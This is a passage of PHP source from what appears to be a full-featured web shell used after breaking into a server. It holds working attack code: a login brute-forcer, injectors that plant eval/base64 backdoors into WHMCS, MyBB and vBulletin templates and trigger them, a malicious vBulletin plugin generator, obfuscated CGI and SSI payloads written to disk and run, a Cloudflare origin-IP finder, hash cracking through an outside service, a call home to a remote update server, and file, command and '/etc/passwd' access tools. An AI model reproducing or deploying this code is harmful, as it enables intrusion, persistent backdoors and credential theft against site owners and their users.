$passwords = $_POST['hoki4'];
$fcrack = $_POST['hoki5'];
$cracking = $_POST['hoki6'];
$protocol = $_POST['hoki7'];
$loginpanel = $_POST['hoki8'];
$p = $loginpanel == 'phpmyadmin' ? $p = true : false;
if($cracking=='start'){
echo __pre();
$exuser = explode("
",$usernames);
$expw = explode("
",$passwords);
foreach($exuser as $user){
foreach($expw as $pw){
$array = array('username' => trim($user),'password' => trim($pw),'port' => trim($port),'target' => trim($target),'protocol' => trim($protocol),'fcrack' => trim($fcrack),'mysql' => $p);
Hoki_Call_Function_Cracker($loginpanel,$array);
}
}
echo '<br><font color="red">Attack Finished...</font>';
}
echo '</div>';
hokifooter();
}
function output($string){ echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='".$string."'>Click Here !</a></font></b></center><br><br>";}
function hokiShellInjectors(){
hokihead();
echo '<div class=header>';
HokiNum(11);
echo '<center><p><div class="txtfont_header">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,\'whmcs\',null)">| WHMCS | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,\'mybb\')">| MyBB | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,null,\'vb\')">| vBulletin |</a></h3></center>';
$selector = '<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>';
if(isset($_POST['hoki1']) && $_POST['hoki1']== 'whmcs'){
HokiNum();
echo __pre()."<p><div class='txtfont_header'>| WHMCS |</div></p><center><center><p>".getConfigHtml('whmcs')."</p><form onSubmit=\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\" method='post'>";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo "<p><input type='submit' value=' '></p></form></center></td></tr></table></center>";
if(isset($_POST['hoki6'])) {
$dbu = $_POST['hoki6'];
$dbn = $_POST['hoki7'];
$dbp = $_POST['hoki8'];
$dbh = $_POST['hoki9'];
$path = $_POST['hoki10'];
$method = $_POST['hoki4'];
$index = "{php}".HOKI_UPLOADER.";{/php}";
$newin = str_replace("'","\'",$index);
$newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
if(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){
if(filter_var($path,FILTER_VALIDATE_URL)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error());
$kiseSave= mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
$kiseGet = mysqli_fetch_assoc($kiseSave);
$tempSave1 = $kiseGet['message'];
$tempSave = str_replace("'","\'",$tempSave1);
mysqli_query($conn,"UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'") or die (mysqli_error($conn));
$inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE name='Password Reset Validation'";
$result = mysqli_query($conn,$inject) or die (mysqli_error($conn));
$create = "insert into tblclients (email) values('[email protected]')";
$result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));
if(function_exists('curl_version') && $method == 'auto'){
$HokiSole = new HokiCURL(true);
$saveurl = $HokiSole->Send($path."/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
$HokiSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&[email protected]");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Kiseryouni = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
__alert("shell injectet...");
$ff= 'http://'.$path."/kiseryouni.php";
output($ff);}else{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target => </font><a href='".$path."/pwreset.php' target='_blank'>".$path."/pwreset.php</a><br/><font color='#FFFFFF'> And Reset Password With Email</font> => <font color=red>[email protected]</font><br/><font color='#FFFFFF'>And Go To => </font><a href='".$path."/kiseryouni.php' target='_blank'>".$path."/kiseryouni.php</a></b></center><br><br>";}}else{__alert('Path is not Valid...');}}}
}if(isset($_POST['hoki2']) && $_POST['hoki2']== 'mybb'){
HokiNum(1,2,3,5);
echo __pre()."<p><div class='txtfont_header'>| MyBB |</div></p><center><center>".getConfigHtml("mybb")."<form id='sendajax' onSubmit=\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\" method=POST>
";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id'=>'db_name' ,'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id'=>'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id'=>'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id'=>'db_prefix','inputValue' => 'mybb_', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo "<p><input type=submit value=' '></p></form></center></center>";
if(isset($_POST['hoki6'])) {
$dbu = $_POST['hoki6'];
$dbn = $_POST['hoki7'];
$dbp = $_POST['hoki8'];
$dbh = $_POST['hoki9'];
$prefix = $_POST['hoki10'];
$method = $_POST['hoki4'];
$shellCode = "{\${".HOKI_UPLOADER."}}";
$newinshell = str_replace("'","\'",$shellCode);
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$inject = "select template from {$prefix}templates where title= 'calendar'";
$result = mysqli_query($conn, $inject) or die (mysqli_error($conn));
$GetTemp = mysqli_fetch_assoc($result);
$saveDate = $GetTemp['template'];
$repsave = str_replace($shellCode,"",$saveDate);
$repsave = str_replace("'","\'",$repsave);
$createShell = "update {$prefix}templates SET template= '".$newinshell.$repsave."' where title = 'calendar'";
$result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));
$geturl = "select value from {$prefix}settings where name= 'bburl'";
$findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));
$rowb = mysqli_fetch_assoc($findurl);
$furl = $rowb['value'];
$realurl = parse_url($furl,PHP_URL_HOST);
$realpath = parse_url($furl,PHP_URL_PATH);
$res = false;
$HokiCurl = new HokiCURL();
if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto' ){
if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath/calendar.php HTTP/1.1
");
@fputs($fsock, "HOST: $realurl
");
@fputs($fsock, "Connection: close
");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$repairdbtemp = "update {$prefix}templates SET template= '$repsave' where title = 'calendar'";
$clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}
@fclose($fsock);}}elseif(function_exists('curl_version') && $method == 'auto'){
$HokiCurl->Send($realurl.$realpath."/calendar.php");
$res = true;
}
if($res){
$ff = 'http://'.$realurl.$realpath."/kiseryouni.php";
output($ff);
}else{
$ff = 'http://'.$realurl.$realpath."/calendar.php";
$fff = 'http://'.$realurl.$realpath."/kiseryouni.php";
echo "<br><pre id='strOutput' style='margin-top:5px' class='ml1'><br><center><b><font color='#FFFFFF'>Please Go To Target => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color='#FFFFFF'>And Go To => </font><a href='".$fff."' target='_blank'>".$fff."</a></b></center><br><br>";
}}}}
if(isset($_POST['hoki3']) && $_POST['hoki3']== 'vb'){
HokiNum(1,2,7,9,10);
echo __pre().'<p><div class="txtfont_header">| vbulletin |</div></p><p>'.getConfigHtml('vb').'</p><form name="frm" method="POST" onsubmit="g(\'ShellInjectors\',null,null,this.lo.value,\'vb\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id'=>'db_name','inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id'=>'db_user','inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id'=>'db_pw','inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id'=>'db_prefix','inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo '<p><input type="submit" value=" " /></p></form></center>';
if(isset($_POST['hoki4'])&&!empty($_POST['hoki4'])){
$method = $_POST['hoki8'];
$faq_name = "faq";
$faq_file = "/faq.php";
$code = "{\${".HOKI_UPLOADER."}}{\${exit()}}&";
$conn=@mysqli_connect($_POST['hoki2'],$_POST['hoki4'],$_POST['hoki5'],$_POST['hoki7']) or die(@mysqli_connect_error());
$rec = "select `template` from ".$_POST['hoki6']."template WHERE title ='".$faq_name."'";
$recivedata = @mysqli_query($conn,$rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
if(empty($savetoass)){
$faq_name = "header";
$faq_file = "/";
$rec = "select `template` from ".$_POST['hoki6']."template WHERE title ='".$faq_name."'";$recivedata = @mysqli_query($conn,$rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
$code = HOKI_UPLOADER.";";
}
$code = str_replace("'","\'",$code);
$p = "UPDATE ".$_POST['hoki6']."template SET `template`='".$code."' WHERE `title`='".$faq_name."'";
$ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));
$geturl = @mysqli_query($conn,"select `value` from ".$_POST['hoki6']."setting WHERE `varname`='bburl'");
$getval = @mysqli_fetch_assoc($geturl);
$saveval = $getval['value'];
if($faq_name == "header"){
if(substr($saveval, -5, 5) == "/core"){
$saveval = substr($saveval, 0, -5);
}
}
$realurl = parse_url($saveval,PHP_URL_HOST);
$realpath = parse_url($saveval,PHP_URL_PATH);
$res = false;
$HokiCurl = new HokiCURL();
if(extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto'){
if($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath.$faq_file HTTP/1.1
");
@fputs($fsock, "HOST: $realurl
");
@fputs($fsock, "Connection: close
");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$p1 = "UPDATE ".$_POST['hoki6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
@fclose($fsock);
}
}elseif(function_exists('curl_version') && $method == 'auto'){
$HokiCurl->Send($realurl.$realpath.$faq_file);
$p1 = "UPDATE ".$_POST['hoki6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
if($res){
$ff = 'http://'.$realurl.$realpath."/kiseryouni.php";
output($ff);
}else{
$ff = 'http://'.$realurl.$realpath.$faq_file;
$fff = 'http://'.$realurl.$realpath."/kiseryouni.php";
echo "<center><p><font color=\"#FFFFFF\">First Open This Link => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color=\"#FFFFFF\">Second Open This Link => </font><a href='".$fff."' target='_blank'>".$fff."</a></center></p>";}}}
echo '</div>';
hokifooter();
}
function hokicheckfiletype(){
$path = $_POST['path'];
$arg = $_POST['arg'];
if(@is_file($path.'/'.$arg)){
echo("file");
}else{
echo("dir");
}
}
function hokicheckupdate(){
if($GLOBALS["DB_NAME"]["cgi_api"]){
if(!isset($_COOKIE["hokicgiapi_mode"])&&!isset($_COOKIE["hokicgiapi"])){
_hoki_cgicmd("whoami","perl",true);
if(strlen(hokiEx("whoami",false,true))>0){
__hoki_set_cookie("hoki_canruncmd", "true");
}
}
}
if(function_exists("curl_version")){
$update = new HokiCURL();
$json = $update->Send("http://solevisible.com/update.json?ver=".__HOKI_VERSION__);
$json = @json_decode($json,true);
$data = array();
if($json){
if(!isset($_COOKIE['hoki_checkupdate']) && !empty($json["type"])){
if($json["type"] == "update"){
if(__HOKI_VERSION__ != $json['version'] || __HOKI_UPDATE__ != $json['version_number']){
@setcookie("hoki_checkupdate", "1", time()+86400);
$data["content"] = '<div class="update-holder">'.$json["content"].'</div>';
}
}
}
if(isset($json["ads"]) && !empty($json["ads"])){
$data["content"] .= $json["ads"];
}
if(isset($json["copyright"]) && !empty($json["copyright"])){
$data["copyright"] = $json["copyright"];
}
if(isset($json["kiseryouni"]) && !empty($json["kiseryouni"])){
$data["kiseryouni"] = $json["kiseryouni"];
}
if(isset($json["code_name"]) && !empty($json["code_name"])){
$data["code_name"] = $json["code_name"];
$data["version_number"] = __HOKI_VERSION__;
}
if(isset($json["market"]) && !empty($json["market"])){
$data["market"] = $json["market"];
}
echo @json_encode($data);
}
}
}
function hokiWriteTocgiapi($name, $source){
$temp = "";
$not_api = array("basedir.hoki", "getdir.hoki", "getheader.hoki");
if(in_array($name, $not_api)){
$temp = HOKI_TEMPDIR;
if($temp){
@chdir($temp);
}
}else{
hokiCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __HOKI_DATA_FOLDER__);
}
@mkdir('hokicgiapi',0755);
__write_file("hokicgiapi/".$name, __get_resource($source));
@chmod("hokicgiapi/".$name, 0755);
return $temp;
}
function hokicheckcgi(){if(strlen(hokiEx("id",false,true,true))>0)echo("ok");else echo("no");}
function hokiupdateheader(){
if(!isset($_COOKIE["updateheader_data"])){
$bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
$realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
$tmp_path = hokiWriteTocgiapi("getheader.hoki",$bash);
$data = hokiEx("cd '{$tmp_path}/hokicgiapi';sh getheader.hoki",false,true,true);
if(@is_array(@json_decode($data,true))){
__hoki_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));
echo $data;
}
}else{
echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);
}
}
function hokissiShell(){
hokihead();
echo '<div class=header>';
hokiCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __HOKI_DATA_FOLDER__);
@mkdir('hoki_shtml',0755);
@chdir('hoki_shtml');
hokicgihtaccess('shtml');
$code = 'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==';
@__write_file('hoki_ssi.shtml',__get_resource($code));
@chmod("hoki_ssi.shtml",0755);
echo HokiiFrameCreator('hoki_shtml/hoki_ssi.shtml');
echo '</div>';
hokifooter();
}
function hokicloudflare(){
hokihead();
HokiNum(8,9,10,7,6,5,4,3);
echo "<div class=header><center><br><div class='txtfont_header'>| Cloud Flare ByPasser |</div><br><form action='' onsubmit=\"g('cloudflare',null,this.url.value,'>>'); return false;\" method='post'>
<p><div class='txtfont'>Target:</div> <input type='text' size=30 name='url' style='text-align:center;' placeholder=\"target.com\"> <input type='submit' name='go' value=' ' /></p></form></center>";
if($_POST['hoki2'] && $_POST['hoki2'] == '>>'){
$url = $_POST['hoki1'];
if(!preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url)){
$url = preg_replace('/^(https?):\/\//', '', $url);
$url = "http://www.".$url;
}
$headers = @get_headers($url, 1);
$server = $headers['Server'];
$subs = array('owa.','2tty.','m.','gw.','mx1.','store.','1','2','vb.','news.','download.','video','cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns3.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.', 'dl.', 'my.', 'cp.', 'portal.', 'kb.', 'support.','search.', 'docs.', 'files.', 'accounts.', 'secure.', 'register.', 'apps.', 'beta.', 'demo.', 'smtp.', 'ns2.', 'ns1.', 'server.', 'shop.', 'host.', 'web.', 'cloud.', 'api.', 'exchange.', 'app.', 'vps.', 'owa.', 'sat.', 'bbs.', 'movie.', 'music.', 'art.', 'fusion.', 'maps.', 'forums.', 'acc.', 'cc.', 'dev.', 'ww42.', 'wiki.', 'clients.', 'client.','books.','answers.','service.','groups.','images.','upload.','up.','tube.','users.','admin.','administrator.','private.','design.','whmcs.','wp.','wordpress.','joomla.','vbulletin.','test.','developer.','panel.','contact.');
if(preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url, $matches)){
if($matches[2] != 'www'){$url = preg_replace('/^(https?):\/\//', '', $url);}else{
$url = explode($matches[0], $url);
$url = $url[1];}}
if(is_array($server))$server = $server[0];
echo __pre();
if(preg_match('/cloudflare/i', $server))
echo "
[+] CloudFlare detected: {$server}
<br>";
else
echo "
[+] CloudFlare wasn't detected, proceeding anyway.
";
echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "
<br><br>";
echo "[+] Searching for more IP addresses.
<br><br>";
for($x=0;$x<count($subs);$x++){
$site = $subs[$x] . $url;
$ip = is_ipv4(gethostbyname($site));
if($ip == '(Null)')
continue;
echo "Trying {$site}: {$ip}
<br>";
}
echo "
[+] Finished.
<br>";
}
echo '</div>';
hokifooter();
}
function is_ipv4($ip){
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
}
function __alert($s){
echo '<center>'.__pre().$s.'</center>';
}
function create_table($data){
echo '<table border="1">';
foreach ($data as $key => $val){
$array = array();
foreach($val as $k => $v){
$array[$k] = $v;
}
echo "<tr><td><div class='tbltxt'>".$array['tdName']."</div></td><td><input type='text' id='".$array['id']."' name='".$array['inputName']."' ".($array['placeholder']?'placeholder':'value')."='".$array['inputValue']."' size='".$array['inputSize']."' ".($array['disabled']?'disabled':'')."></td></tr>";
}
echo '</table>';
}
function hokiphp2xml(){
hokihead();
HokiNum(8,9,10,7,6,5,4,3);
echo "<div class=header><center><p><div class='txtfont_header'>| Shell For vBulletin |</div></p><form onsubmit=\"g('php2xml',null,this.code.value,'>>'); return false;\" method='post'>
<p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>
<input type='submit' name='go' value=' ' /></p></form></center>";
if($_POST['hoki2']&&$_POST['hoki2']=='>>'){
echo __pre()."<p><center><textarea rows='10' name='users' cols='80'>";
echo '<?xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\'PHP_SELF\'],"subscriptions.php")){eval(base64_decode(\''.__ZW5jb2Rlcg($_POST['hoki1']).'\'));exit;}]]></phpcode></plugin></plugins>';
echo '</textarea></center></p>';
}
echo '</center></div>';
hokifooter();
}
function hokicpcrack(){
hokihead();
echo '<div class=header><center><p><div class="txtfont_header">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'dec\')">| DeCrypter | </a><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'analyzer\')">| Hash Analyzer | </a></h3></center>';
if($_POST['hoki1']=='dec'){
$algorithms = array('md5'=>'MD5','md4'=>'MD4','sha1'=>'SHA1','sha256'=>'SHA256','sha384'=>'SHA384','sha512'=>'SHA512','ntlm'=>'NTLM');
echo '<center><div class="txtfont_header">| DeCrypter |</div><br><br>
<form onsubmit="g(\'cpcrack\',null,\'dec\',this.md5.value,\'>>\',this.alg.value); return false;"><div class="txtfont">Decrypt Method:</div> <select name="alg" style="width:100px;">';
foreach($algorithms as $key=>$val){echo('<option value="'.$key.'">'.$val.'</option>');}
echo'</select><input type="text" placeholder="Hash" name="md5" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
if($_POST['hoki3'] == '>>'){
$hash = $_POST['hoki2'];
if(!empty($hash)){
$hash_type = $_POST['hoki4'];
$email = "[email protected]";
$code = "7b9fa79f92c3cd96";
$target = "https://md5decrypt.net/Api/api.php?hash=".$hash."&hash_type=".$hash_type."&email=".$email."&code=".$code;
$resp = @file_get_contents($target);
if($resp==''){
$get = new HokiCURL();
$resp = $get->Send($target);
}
echo __pre().'<center>';
switch($resp){
case('CODE ERREUR : 001'):echo "<b><font color='red'>You exceeded the 400 allowed request per day</font></b>";break;
case('CODE ERREUR : 003'):echo "<b><font color='red'>Your request includes more than 400 hashes.</font></b>";break;
case('CODE ERREUR : 004'):echo "<b><font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid</font></b>";break;
case('CODE ERREUR : 005'):echo "<b><font color='red'>The hash you provide doesn't seem to match with the type of hash you set.</font></b>";break;
}
if(substr($resp,0,4)!='CODE'&&$resp!=''){
echo "<b>Result: <font color='green'>".$resp."</font></b>";
}elseif(substr($resp,0,4)!='CODE'){
echo "<font color='red'>NoT Found</font><br />";
}
echo('</center>');
}
}
}
if($_POST['hoki1']=='analyzer'){
echo '<center><p><div class="txtfont_header">| Hash Analyzer |</div></p>
<form onsubmit="g(\'cpcrack\',null,\'analyzer\',this.hash.value,\'>>\');return false;">
<div class="txtfont">Hash: </div> <input type="text" placeholder="Hash" name="hash" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
if($_POST['hoki3'] == '>>'){
$hash = $_POST['hoki2'];
if(!empty($hash)){
$curl = new HokiCURL();
$resp = $curl->Send("https://md5decrypt.net/en/HashFinder/","post","hash={$hash}&crypt=Search");
echo(__pre().'<center>');
if(preg_match('#<fieldset class="trouve">(.*?)</fieldset>#',$resp,$s)){
echo('<font color="green">'.$s[1].'</font>');
}else{
echo('<font color="red">Not Found...!</font>');
}
echo('</center><br>');
}
}
}
echo '</div>';
hokifooter();
}
function hokifooter(){
if(!isset($_POST['ajax'])){
echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >
<tr>
<td width='17%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\"><span class='footer_text'>Make File : </span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value=' '></form></td>
<td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\"><span class='footer_text'>Make Dir : </span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value=' '></form></td>
<td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\"><span class='footer_text'>Delete : </span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value=' '></form></td>
<td width='19%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\"><span class='footer_text'>Chmod : </span><br><input class='dir' type=text name=f value=' '> <input type='submit' value=' '></form></td>
</tr>
<tr>
<td colspan='2'><form onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span class='footer_text'>Change Dir : </span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='".htmlspecialchars($GLOBALS['cwd'])."'> <input type='submit' value=' '></form></td>
<td colspan='2'><form onsubmit=\"editor(this.file.value,'view','','','','file');return false;\"><span><span class='footer_text'>Read File : </span></span><br><input class='foottable' type='text' name='file' value='/etc/passwd'> <input type='submit' value=' '></form></td>
</tr>
<tr>
<td colspan='4'><form style='margin-top: 10px;' onsubmit=\"return false;\" autocomplete='off'><span><span class='footer_text'>Execute :</span><br><button onClick='hokiOpenPhpTerminal();return false;' class='foottable hoki_custom_cmd_btn'><img style='width:15px;vertical-align: middle;' src='https://solevisible.com/icons/menu/terminal.svg'> Terminal</button><br></form></td>
</tr>
<tr>
<td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart/form-data'>
<input type='hidden' name='a' value='FilesMAn'>
<input type='hidden' name='c' value='" . $GLOBALS['cwd'] ."'>
<input type='hidden' name='ajax' value='true'>
<input type='hidden' name='hoki1' value='uploadFile'>
